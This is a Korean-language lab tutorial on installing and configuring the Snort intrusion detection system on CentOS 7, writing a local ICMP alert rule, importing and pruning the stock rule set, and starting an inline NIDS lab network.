블랙리스트 룰 : 신뢰하지 않는 룰(거부할 룰)을 설정하는 방식
# touch rules/white_list.rules
# touch rules/black_list.rules
# ls -l rules/
합계 0
-rw-r--r--. 1 root root 0 3월 17 12:16 black_list.rules
-rw-r--r--. 1 root root 0 3월 17 12:16 white_list.rules
8. 설정파일 수정
var HOME_NET : snort 에서 탐지할 목적지 ip 주소를 설정한다.(200.200.200.101/32)
var EXTERNAL_NET : snort 에서 탐지할 출발지 ip 주소를 설정한다.(any)
var RULE_PATH : 룰 파일이 저장된 디렉터리를 지정한다.
vim을 설치한다.
# yum -y install vim
# vim /etc/vimrc
:
:(생략)
set nu
set ai
set bg=dark
set sw=4
set ts=4
set expandtab
set cursorline
set fileencodings='utf8,euckr'
# alias vi=vim
# echo alias vi=vim >> ~/.bashrc
/etc/snort/snort.conf 파일을 열어서 설정에 대한 내용을 수정한다.
# vi snort.conf
-- snort.conf --
:
:(생략)
#ipvar HOME_NET any <-- 45번 라인
# 자신의 IP주소를 ifconfig 로 확인해서 HOME_NET에 설정한다.
ipvar HOME_NET 200.200.200.101/32
# Set up the external network addresses. Leave as "any" in most situations
ipvar EXTERNAL_NET any
:
:(생략)
#var RULE_PATH ../rules <-- 105번 라인
var RULE_PATH /etc/snort/rules
#var SO_RULE_PATH ../so_rules
var SO_RULE_PATH /etc/snort/so_rules
#var WHITE_LIST_PATH ../rules <-- 116번 라인
#var BLACK_LIST_PATH ../rules
var WHITE_LIST_PATH /etc/snort/rules
var BLACK_LIST_PATH /etc/snort/rules
# 551번 라인근처에 $RULE_PATH 부분
# local.rules 는 빼고
# app-detect.rules ~ x11.rules 까지 나머지는 모두 주석으로 처리한다.
# vi 에서 한번에 주석처리하기 :
# 사용법: :시작줄번호,끝줄번호s/^/#
# 스크립트로 작성하면 sed를 이용해서 자동화 처리를 이용할 수도 있다.
# 라인 번호는 각자 다를 수 있기 때문에 자신의 라인번호를 확인한다.
# app-detect.rules가 553라인이고 x11.rules가 656라인 이라고 가정하고
# 553라인 ~ 656라인까지 주석으로 막아준다.
# :553,656s/^/#
include $RULE_PATH/local.rules
#include $RULE_PATH/app-detect.rules
:
: 나머지 룰 파일들을 모두 주석으로 처리한다.
#include $RULE_PATH/x11.rules
###################################################
# Step #8: Customize your preprocessor and decoder alerts
# For more information, see README.decoder_preproc_rules
###################################################
:
:(생략)
-- snort.conf --
/etc/snort/rules/local.rules 파일을 생성한다.
# touch /etc/snort/rules/local.rules
9. 사용자 계정 추가 및 권한설정
snort 를 실행할 사용자를 생성하고 /etc/snort 디렉토리는 snort 사용자만 접근할
수 있게 허가권의 접근 권한을 설정한다.
-u 40000: UID 40000
-d /var/log/snort: 홈디렉터리
-s /sbin/nologin: 셸
-c SNORT_IDS: 설명문
# useradd snort -u 40000 -d /var/log/snort -s /sbin/nologin -c SNORT_IDS
# tail -1 /etc/passwd
snort:x:40000:40000:SNORT_IDS:/var/log/snort:/sbin/nologin
# chown -R snort:snort /etc/snort
# chmod 700 /etc/snort
# ls -ld /etc/snort
drwx------. 4 snort snort 4096 9월 1 19:23 /etc/snort/
10. 룰 주석설정
설정에 기본적으로 들어있는 룰중에서 없는 룰파일들은 주석으로 처리한다.
257번 라인 근처의 dynamicdetection 부분을 주석처리한다.
# vi snort.conf
-- snort.conf --
:
:(생략)
# path to dynamic rules libraries
#dynamicdetection directory /usr/local/lib/snort_dynamicrules
:
:(생략)
-- snort.conf --
11. snort 설정확인
설정파일 실패: 설정파일 테스트 후 Fatal Error, Quitting.. 메세지가 출력되고 종료된다.
설정파일 성공: 설정파일 테스트 후 Snort successfully validated the configuration! 메세지가 출력되고 종료된다.
자신의 인터페이스를 확인한 후 사용한다.
snort --help 옵션을 이용해서 도움말을 확인한다.
# snort --help
,,_ -*> Snort! <*-
o" )~ Version 2.9.11.1 GRE (Build 268)
'''' By Martin Roesch & The Snort Team: http://www.snort.org/contact#team
Copyright (C) 2014-2017 Cisco and/or its affiliates. All rights reserved.
Copyright (C) 1998-2013 Sourcefire, Inc., et al.
Using libpcap version 1.4.0
Using PCRE version: 7.8 2008-09-05
Using ZLIB version: 1.2.3
:
:(생략)
-T : 테스트 옵션
-i : 인터페이스 옵션
-u : 사용자 옵션
-g : 그룹 옵션
-c : 설정파일 옵션
# snort -T -i ens33 -u snort -g snort -c /etc/snort/snort.conf
Running in Test mode
--== Initializing Snort ==--
Initializing Output Plugins!
Initializing Preprocessors!
:
:(생략)
Snort successfully validated the configuration! <-- 이 메세지가 나오면 일단 설치와 설정은 성공이다!
Snort exiting
12. 스노트 룰 등록
local.rules 파일을 touch로 생성했으므로 그 안에 룰에 대한 설정 내용이 없기 때문에 이를 생성한다.
icmp 프로토콜이면 탐지하는 룰을 /etc/snort/rules/local.rules 파일에 저장한다.
# vi /etc/snort/rules/local.rules
# alert: action
# icmp: protocol
# any: source IP
# any: source Port
# -> : direction operator
# any: destination IP
# any: destination Port
# ( rule option )
#alert icmp 200.200.200.1 any -> any any (msg:"ICMP ping test"; sid: 1000001;)
alert icmp any any -> any any (msg:"ICMP ping test"; sid: 1000001;)
snort를 실행한다.
옵션에 -T 가 없으면 테스트가 아니라 실제 IDS를 구동하는 상태가 된다.
snort 를 실행하면 멈춰있는 상태로 놔둔다.
-A console : 화면이 출력
-i : 인터페이스 옵션
-u : 사용자 옵션
-g : 그룹 옵션
-c : 설정파일 옵션
-q : 조용히
# snort -q -A console -i ens33 -u snort -g snort -c /etc/snort/snort.conf
Host OS에서 CentOS7(으)로 ping test를 한다.
C:\Users\user1>ping 200.200.200.101
Ping 200.200.200.101 32바이트 데이터 사용:
200.200.200.101의 응답: 바이트=32 시간<1ms TTL=64
200.200.200.101의 응답: 바이트=32 시간<1ms TTL=64
200.200.200.101의 응답: 바이트=32 시간<1ms TTL=64
200.200.200.101의 응답: 바이트=32 시간=1ms TTL=64
200.200.200.101에 대한 Ping 통계:
패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
최소 = 0ms, 최대 = 1ms, 평균 = 0ms
아래처럼 로그에 기록되면 정상적으로 snort가 동작이 되는 것이다.
# snort -q -A console -i ens33 -u snort -g snort -c /etc/snort/snort.conf
03/03-14:19:51.661558 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/03-14:19:51.661599 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
03/03-14:19:52.678630 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/03-14:19:52.678681 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
03/03-14:19:53.692494 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/03-14:19:53.692524 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
03/03-14:19:54.707927 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/03-14:19:54.707962 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
^C <-- 중지한다.
13. 로그 확인
로그 디렉터리에 로그파일을 확인한다.
# ls -l /var/log/snort/
합계 0
-rw-------. 1 snort snort 744 3월 3 14:19 snort.log.1646284778
실습> local.rules 수정
1. 첫 번째 설정
[200.200.200.1] <---------> [snort] <---------> [200.200.200.101]
alert icmp any any -> any any (msg:"ICMP ping test"; sid: 1000001;)
콘솔에 남겨진 로그
10/14-15:16:53.002537 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
10/14-15:16:53.002562 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
10/14-15:16:54.010514 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
10/14-15:16:54.010548 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
10/14-15:16:55.020729 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
10/14-15:16:55.020749 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
10/14-15:16:56.029028 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
10/14-15:16:56.029049 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
2. 두 번째 설정
[200.200.200.1] ----------> [snort] ---------> [200.200.200.101]
alert icmp 200.200.200.1 any -> any any (msg:"ICMP ping test"; sid: 1000001;)
10/14-15:18:03.117855 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
10/14-15:18:04.131175 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
10/14-15:18:05.140291 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
10/14-15:18:06.150892 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
3. 세 번째 설정
[200.200.200.1] <---------- [snort] <--------- [200.200.200.101]
alert icmp 200.200.200.101 any -> any any (msg:"ICMP ping test"; sid: 1000001;)
10/14-15:18:36.605380 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
10/14-15:18:37.623441 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
10/14-15:18:38.633591 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
10/14-15:18:39.654005 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
실습> Kali에서 snort 설치하기
[root@kali ~]# cat /etc/resolv.conf
# Generated by NetworkManager
nameserver 168.126.63.1
[root@kali ~]# cd
[root@kali ~]# mv /etc/apt/sources.list .
[root@kali ~]# cat << EOF > /etc/apt/sources.list
deb http://archive.ubuntu.com/ubuntu/ focal main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu/ focal main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu/ focal-updates main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu/ focal-updates main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu/ focal-security main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu/ focal-security main restricted universe multiverse
deb http://archive.ubuntu.com/ubuntu/ focal-backports main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu/ focal-backports main restricted universe multiverse
deb http://archive.canonical.com/ubuntu focal partner
deb-src http://archive.canonical.com/ubuntu focal partner
EOF
[root@kali ~]# apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 3B4FE6ACC0B21F32
[root@kali ~]# apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 871920D1991BC93C
[root@kali ~]# apt update
1. snort 설치
snort 를 설치한다.
[root@kali ~]# apt -y install snort
2. rule 파일 복사
[root@kali ~]# tar czf rules.tar.gz /etc/snort/rules
3. rules 파일 원격 복사
[root@kali ~]# scp rules.tar.gz 200.200.200.101:
실습> rules 파일 수정
/etc/snort/snort.conf 에서 rules 파일이 있는 것을 확인하고 주석을 제거한다.
200.200.200.101 에서 작업한다.
1. 룰 파일 주석 제거
Kali Linux에서 다운로드 받은 룰 파일의 리스트를 rules.txt 파일로 한 줄로 저장한다.
[root@localhost ~]# tar xzf rules.tar.gz
[root@localhost ~]# ls rules -1 > rules.txt
두 개의 파일을 열어서 주석을 하나하나 제거한다.
- /etc/snort/snort.conf, rules.txt
[root@localhost ~]# vi /etc/snort/snort.conf
:vs rules.txt
553번 라인으로 이동해서 룰 파일의 주석을 제거해야 한다.
###################################################
# Step #7: Customize your rule set
# For more information, see Snort Manual, Writing Snort Rules
#
# NOTE: All categories are enabled in this conf file
###################################################
# site specific rules
include $RULE_PATH/local.rules
#include $RULE_PATH/app-detect.rules
include $RULE_PATH/attack-responses.rules
include $RULE_PATH/backdoor.rules
include $RULE_PATH/bad-traffic.rules
#include $RULE_PATH/blacklist.rules
#include $RULE_PATH/botnet-cnc.rules
#include $RULE_PATH/browser-chrome.rules
#include $RULE_PATH/browser-firefox.rules
#include $RULE_PATH/browser-ie.rules
#include $RULE_PATH/browser-other.rules
#include $RULE_PATH/browser-plugins.rules
#include $RULE_PATH/browser-webkit.rules
include $RULE_PATH/chat.rules
#include $RULE_PATH/content-replace.rules
include $RULE_PATH/ddos.rules
include $RULE_PATH/dns.rules
include $RULE_PATH/dos.rules
include $RULE_PATH/experimental.rules
#include $RULE_PATH/exploit-kit.rules
include $RULE_PATH/exploit.rules
#include $RULE_PATH/file-executable.rules
#include $RULE_PATH/file-flash.rules
#include $RULE_PATH/file-identify.rules
#include $RULE_PATH/file-image.rules
#include $RULE_PATH/file-multimedia.rules
#include $RULE_PATH/file-office.rules
#include $RULE_PATH/file-other.rules
#include $RULE_PATH/file-pdf.rules
include $RULE_PATH/finger.rules
include $RULE_PATH/ftp.rules
include $RULE_PATH/icmp-info.rules
include $RULE_PATH/icmp.rules
include $RULE_PATH/imap.rules
#include $RULE_PATH/indicator-compromise.rules
#include $RULE_PATH/indicator-obfuscation.rules
#include $RULE_PATH/indicator-shellcode.rules
include $RULE_PATH/info.rules
#include $RULE_PATH/malware-backdoor.rules
#include $RULE_PATH/malware-cnc.rules
#include $RULE_PATH/malware-other.rules
#include $RULE_PATH/malware-tools.rules
include $RULE_PATH/misc.rules
include $RULE_PATH/multimedia.rules
include $RULE_PATH/mysql.rules
include $RULE_PATH/netbios.rules
include $RULE_PATH/nntp.rules
include $RULE_PATH/oracle.rules
#include $RULE_PATH/os-linux.rules
#include $RULE_PATH/os-other.rules
#include $RULE_PATH/os-solaris.rules
#include $RULE_PATH/os-windows.rules
include $RULE_PATH/other-ids.rules
include $RULE_PATH/p2p.rules
#include $RULE_PATH/phishing-spam.rules
#include $RULE_PATH/policy-multimedia.rules
#include $RULE_PATH/policy-other.rules
include $RULE_PATH/policy.rules
#include $RULE_PATH/policy-social.rules
#include $RULE_PATH/policy-spam.rules
include $RULE_PATH/pop2.rules
include $RULE_PATH/pop3.rules
#include $RULE_PATH/protocol-finger.rules
#include $RULE_PATH/protocol-ftp.rules
#include $RULE_PATH/protocol-icmp.rules
#include $RULE_PATH/protocol-imap.rules
#include $RULE_PATH/protocol-pop.rules
#include $RULE_PATH/protocol-services.rules
#include $RULE_PATH/protocol-voip.rules
#include $RULE_PATH/pua-adware.rules
#include $RULE_PATH/pua-other.rules
#include $RULE_PATH/pua-p2p.rules
#include $RULE_PATH/pua-toolbars.rules
include $RULE_PATH/rpc.rules
include $RULE_PATH/rservices.rules
#include $RULE_PATH/scada.rules
include $RULE_PATH/scan.rules
#include $RULE_PATH/server-apache.rules
#include $RULE_PATH/server-iis.rules
#include $RULE_PATH/server-mail.rules
#include $RULE_PATH/server-mssql.rules
#include $RULE_PATH/server-mysql.rules
#include $RULE_PATH/server-oracle.rules
#include $RULE_PATH/server-other.rules
#include $RULE_PATH/server-webapp.rules
#include $RULE_PATH/shellcode.rules <-- 다른 것과 겹치는 부분 때문에 주석처리한 것이다.
include $RULE_PATH/smtp.rules
include $RULE_PATH/snmp.rules
#include $RULE_PATH/specific-threats.rules
#include $RULE_PATH/spyware-put.rules
include $RULE_PATH/sql.rules
include $RULE_PATH/telnet.rules
include $RULE_PATH/tftp.rules
include $RULE_PATH/virus.rules
#include $RULE_PATH/voip.rules
#include $RULE_PATH/web-activex.rules
include $RULE_PATH/web-attacks.rules
include $RULE_PATH/web-cgi.rules
include $RULE_PATH/web-client.rules
include $RULE_PATH/web-coldfusion.rules
include $RULE_PATH/web-frontpage.rules
include $RULE_PATH/web-iis.rules
include $RULE_PATH/web-misc.rules
include $RULE_PATH/web-php.rules
include $RULE_PATH/x11.rules
2. 룰 파일 복사
압축해제한 rules 디렉터리에서 룰 파일들을 /etc/snort/rules/ 디렉터리 복사한다.
이때 local.rules 만 빼고 복사한다.
local.rules: 사용자가 직접 만드는 룰이 이 파일에 저장된다.
[root@localhost ~]# cp rules/* /etc/snort/rules/
cp: overwrite `/etc/snort/rules/local.rules'? n
3. 설정 테스트
-T 옵션을 이용해서 snort 설정 테스트를 했을 때
Snort successfully validated the configuration! 메세지가 나오면 룰에 문제가 없다라는 의미이다.
[root@localhost ~]# snort -T -i ens33 -u snort -g snort -c /etc/snort/snort.conf
:
:
Snort successfully validated the configuration!
Snort exiting
4. snort 실행
룰 파일의 테스트가 완료되면 snort 를 실행한다.
[root@localhost ~]# snort -q -A console -i ens33 -u snort -g snort -c /etc/snort/snort.conf
5. 룰 파일 확인
다른 터미널을 열어서 /etc/snort/rules/backdoor.rules 파일을 확인한다.
[root@localhost ~]# vi /etc/snort/rules/backdoor.rules
:
:(생략)
:q
6. snort 실행
[root@localhost ~]# snort -q -A console -i ens33 -u snort -g snort -c /etc/snort/snort.conf
C:\Users\user>ping 200.200.200.101
Ping 200.200.200.101 32바이트 데이터 사용:
200.200.200.101의 응답: 바이트=32 시간<1ms TTL=64
200.200.200.101의 응답: 바이트=32 시간=1ms TTL=64
200.200.200.101의 응답: 바이트=32 시간<1ms TTL=64
200.200.200.101의 응답: 바이트=32 시간<1ms TTL=64
200.200.200.101에 대한 Ping 통계:
패킷: 보냄 = 4, 받음 = 4, 손실 = 0 (0% 손실),
왕복 시간(밀리초):
최소 = 0ms, 최대 = 1ms, 평균 = 0ms
Kali Linux에서 가져온 룰을 설정한 후 확인하면 아래처럼 ICMP PING Windows 부분이 추가된다.
ICMP 프로토콜이 오면 ICMP PING Windows가 기록되게 설정되어 있는 것이다.
여기서는 이 부분을 확인해서 주석으로 처리할 것이다.
[root@localhost ~]# snort -q -A console -i ens33 -u snort -g snort -c /etc/snort/snort.conf
03/17-16:13:09.513584 [**] [1:382:8] ICMP PING Windows [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:09.513584 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:09.513584 [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:09.513608 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
03/17-16:13:10.519165 [**] [1:382:8] ICMP PING Windows [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:10.519165 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:10.519165 [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:10.519246 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
03/17-16:13:11.525624 [**] [1:382:8] ICMP PING Windows [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:11.525624 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:11.525624 [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:11.525654 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
03/17-16:13:12.531524 [**] [1:382:8] ICMP PING Windows [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:12.531524 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:12.531524 [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:13:12.531575 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
^C
룰 디렉터리에서 확인했더니 /etc/snort/rules/icmp-info.rules 파일에 들어있는 것을 확인했고
이 파일을 열어서 주석처리 한다.
[root@localhost ~]# grep 'ICMP PING Windows' /etc/snort/rules/*
/etc/snort/rules/icmp-info.rules:alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING Windows"; itype:8; content:"abcdefghijklmnop"; depth:16; reference:arachnids,169; classtype:misc-activity; sid:382; rev:8;)
47번 라인에 ICMP PING Windows
[root@localhost ~]# vi /etc/snort/rules/icmp-info.rules
46 alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING Sun Solaris"; dsize:8; itype:8; reference:arachnids,448; classtype:mi sc-activity; sid:381; rev:6;)
47 #alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP PING Windows"; itype:8; content:"abcdefghijklmnop"; depth:16; reference:a rachnids,169; classtype:misc-activity; sid:382; rev:8;)
48 alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP traceroute"; itype:8; ttl:1; reference:arachnids,118; classtype:attempted- recon; sid:385; rev:4;)
주석처리한 후 다시 실행하고 확인한다.
[root@localhost ~]# snort -q -A console -i ens33 -u snort -g snort -c /etc/snort/snort.conf
C:\Users\user>ping 200.200.200.101
다른 룰이 있어서 ICMP PING 메세지가 출력된 것이다.
여기서는 더이상 수정하지 않을 것이다.
[root@localhost ~]# snort -q -A console -i ens33 -u snort -g snort -c /etc/snort/snort.conf
03/17-16:21:44.918909 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:21:44.918909 [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:21:44.918934 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
03/17-16:21:45.933652 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:21:45.933652 [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:21:45.933692 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
03/17-16:21:46.939781 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:21:46.939781 [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:21:46.939801 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
03/17-16:21:47.945766 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:21:47.945766 [**] [1:384:5] ICMP PING [**] [Classification: Misc activity] [Priority: 3] {ICMP} 200.200.200.1 -> 200.200.200.101
03/17-16:21:47.945801 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 200.200.200.101 -> 200.200.200.1
^C
rev:1; (리비전)을 추가한다.
[root@localhost ~]# cat /etc/snort/rules/local.rules
alert icmp any any -> any any (msg:"ICMP ping test"; sid: 1000001; rev:1;)
실습> NIDS 설치하기
네트워크 구성도
[외부망(internet)]
|
200.200.200.2
DNAT
200.200.200.101 ---------------------> 192.168.101.101
Inline 방식(패킷이 NIDS를 통과한다.)
[PC]--------------------[F/W(NIDS)]---------------[WEB#1]
| | | |
| 200.200.200.0/24 | | 192.168.101.0/24 |
| VMnet8 | | VMnet1 |
| | | |
200.200.200.1 .13 .253 .101
200.200.200.101 <--------------------- 192.168.101.101
SNAT
CentOS를 새로 설치할것!
배포판: CentOS 7
VMname: snortNIDS
VMnetwork: VMnet8 (NAT)
VMnetwork: VMnet1 (Host Only)
HDD: 기본값 20G
파티션: 자동 파티션
NIC#1(VMnet8) IP Address: 200.200.200.13/24
NIC#2(VMnet1) IP Address: 192.168.101.253/24
Gateway: 200.200.200.2
DNS: 168.126.63.1
[X] Automatically connect
배포판: CentOS 7
VMname: DMZWEB1
VMnetwork: VMnet1 (Host Only)
HDD: 기본값 20G
파티션: 자동 파티션
NIC#1(VMnet1) IP Address: 192.168.101.101/24
Gateway: 192.168.101.253
DNS: 168.126.63.1
[X] Automatically connect
1. 네트워크 설정
NIDS에서 네트워크를 설정한다.
# nmtui
프로파일 이름: ens33
IPv4 설정 <수동>
주소: 200.200.200.13/24
게이트웨이: 200.200.200.2
DNS 서버: 168.126.63.1
[X] 자동으로 연결
프로파일 이름: ens34
IPv4 설정 <수동>
주소: 192.168.101.253/24
[X] 자동으로 연결
호스트 이름: nids.linuxmaster.net
설정이 완료된 후 network을 재시작하지 말고 서버를 재부팅해서 로그인한다.
# reboot
200.200.200.13에 대한 내용을 /etc/hosts 파일에 등록한다.
[root@nids ~]# vi /etc/hosts
127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
200.200.200.13 nids.linuxmaster.net nids
네트워크 정보를 확인한다.
[root@nids ~]# hostname
nids.linuxmaster.net
[root@nids ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:94:f5:78 brd ff:ff:ff:ff:ff:ff
inet 200.200.200.13/24 brd 200.200.200.255 scope global noprefixroute ens33
valid_lft forever preferred_lft forever
inet6 fe80::776c:5740:1e06:43d/64 scope link noprefixroute
valid_lft forever preferred_lft forever
3: ens34: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:94:f5:82 brd ff:ff:ff:ff:ff:ff
inet 192.168.101.253/24 brd 192.168.101.255 scope global noprefixroute ens34
valid_lft forever preferred_lft forever
inet6 fe80::bda9:e572:179:954d/64 scope link noprefixroute
valid_lft forever preferred_lft forever
[root@nids ~]# ip route
default via 200.200.200.2 dev ens33 proto static metric 100
192.168.101.0/24 dev ens34 proto kernel scope link src 192.168.101.253 metric 101
200.200.200.0/24 dev ens33 proto kernel scope link src 200.200.200.13 metric 100
DMZ망에 있는 WEB#1에서 네트워크를 설정한다.
# nmtui
프로파일 이름: ens33
IPv4 설정 <수동>
주소: 192.168.101.101/24
게이트웨이: 192.168.101.253
DNS 서버: 168.126.63.1
[X] 자동으로 연결
호스트 이름: web1.linuxmaster.net
설정이 완료된 후 network을 재시작하지 말고 서버를 재부팅해서 로그인한다.
# reboot
192.168.101.101에 대한 내용을 /etc/hosts 파일에 등록한다.
[root@nids ~]# vi /etc/hosts
127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
192.168.101.101 web1.linuxmaster.net web1
네트워크 정보를 확인한다.
[root@web1 ~]# hostname
web1.linuxmaster.net
[root@web1 ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:56:b8:5e brd ff:ff:ff:ff:ff:ff
inet 192.168.101.101/24 brd 192.168.101.255 scope global noprefixroute ens33
valid_lft forever preferred_lft forever
inet6 fe80::53aa:a8fb:b522:8f03/64 scope link noprefixroute
valid_lft forever preferred_lft forever
[root@web1 ~]# ip route
default via 192.168.101.253 dev ens33 proto static metric 100
192.168.101.0/24 dev ens33 proto kernel scope link src 192.168.101.101 metric 100
2. 통신 확인
nids 에서 외부로 통신이 되는지 확인한다.
- 여기서는 통신이 되는게 정상이다.
[root@nids ~]# ping -c 4 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=40.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=40.8 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=128 time=41.4 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=128 time=40.5 ms
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 40.563/40.937/41.419/0.369 ms
web1 에서 게이트웨이와 통신이 되는지 확인한다.
- 여기서는 통신이 되는게 정상이다.
